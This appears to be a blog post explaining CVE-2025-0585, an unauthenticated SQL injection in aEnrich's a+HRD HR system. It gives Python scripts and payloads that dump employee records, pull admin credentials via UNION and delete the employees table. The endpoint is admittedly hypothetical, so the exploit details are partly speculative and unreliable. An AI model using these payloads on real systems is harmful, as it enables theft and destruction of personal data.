CVE-2025-0585 - a+HRD by aEnrich Technology - Unauthenticated SQL Injection Explained

In January 2025, a new critical vulnerability—CVE-2025-0585—was disclosed in the a+HRD human resource management system developed by aEnrich Technology. This flaw is a SQL Injection vulnerability, and it can be exploited without authentication. In simple terms, this means anyone on the internet can steal, change, or delete sensitive employee data if your a+HRD system is exposed.

This post breaks down how the vulnerability works, shows dangerous exploitation, and provides references for more information. We use simple examples and exclusive, easy-to-understand language appropriate for IT managers, system admins, or curious users.

What is SQL Injection?

SQL Injection (SQLi) is one of the oldest and most dangerous web vulnerabilities. It happens when an application takes user input and places it directly into a database query without proper filtering. Attackers can craft special input to make the database execute commands they shouldn’t be allowed to.

Where is CVE-2025-0585 Located?

The vulnerability affects a+HRD versions released before February 2025. If your admin portal, employee search page, or other modules are public, you could be at risk.

An example vulnerable endpoint might look like

http://yourcompany.com/hrd/employee_view?id=1234

This endpoint takes an id parameter, which is plugged directly into an SQL query without checks.

The Exploit: How Attackers Break In

Because the endpoint does not sanitize inputs, an attacker can enter harmful SQL in the URL.

Suppose an attacker enters the following in their browser

http://yourcompany.com/hrd/employee_view?id=1234 OR 1=1

Here's how attackers might dump employee records using simple injection

# python requests library required
import requests

url = "http://victim.com/hrd/employee_view";
payload = "' OR 'a'='a"

full_url = f"{url}?id={payload}"

r = requests.get(full_url)
print(r.text)

This uses id=' OR 'a'='a to make the SQL always true, often showing all rows.

Attackers can go further to delete data or add new users

-- Delete all employee records (DANGEROUS, do NOT test this)
'; DELETE FROM employees; --

Injected as a parameter, this will erase the whole employees table.

Attempt to get admin credentials (where database errors show)

' UNION SELECT id, username, password FROM admins -- 

This merges the admin logins with the employee data page.

Here’s a simple Python script to exploit CVE-2025-0585 and enumerate employee emails

import requests

target = 'http://victim.com/hrd/employee_view';
injection = "1 UNION SELECT null, email, null FROM employees-- "
url = f"{target}?id={injection}"

resp = requests.get(url)
print(resp.text)

Replace victim.com with your own test system for demonstration.

How to Fix CVE-2025-0585

Patch immediately! aEnrich Technology released updates after disclosure. Make sure your version is the latest. If unsure:

References

- NVD CVE-2025-0585 record _(placeholder, check after publication)_
- OWASP SQL Injection Cheat Sheet
- Official aEnrich Technology Website
- How SQL Injection Works (simple explanation)

Conclusion

The CVE-2025-0585 injection bug in a+HRD is dangerous and easy to exploit. Companies running public HRD portals must treat this as a top priority. Verify your patch level, restrict access, and always follow SQL best practices to prevent costly data breaches.

If you discovered this flaw in your HR system, coordinate with your IT or vendor for a fix right away.

Timeline

Published on: 01/20/2025 03:15:09 UTC